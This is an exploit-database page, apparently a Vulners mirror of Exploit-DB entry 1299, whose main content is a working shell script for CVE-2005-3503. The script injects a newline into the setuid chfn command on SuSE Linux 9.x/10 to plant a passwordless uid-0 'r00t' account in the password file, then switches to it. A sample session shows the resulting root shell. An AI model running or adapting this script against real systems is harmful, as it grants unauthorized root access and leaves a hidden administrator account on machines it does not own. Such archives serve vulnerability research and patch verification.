Search...

SuSE Linux <= 9.3 / 10 - chfn Local Root Privilege Escalation Exploit

2005-11-08T00:00:00
ID EDB-ID:1299
Type exploitdb
Reporter Hunger
Modified 2005-11-08T00:00:00

Description

SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit. CVE-2005-3503. Local exploit for linux platform

                                        
                                            #!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger &lt;susechfn@hunger.hu&gt;
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~&gt; id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~&gt; ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
	echo "No SHELL environment, using /bin/sh for default."
	export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
	/bin/echo "Type your current password to get root... :)"
	/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER &gt; /dev/null
	if [ -u /bin/su ]; then
		/bin/su r00t
		/bin/echo "You can get root again with 'su r00t'"
	else 
		echo "/bin/su file is not setuid root :("
	fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi

# milw0rm.com [2005-11-08]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by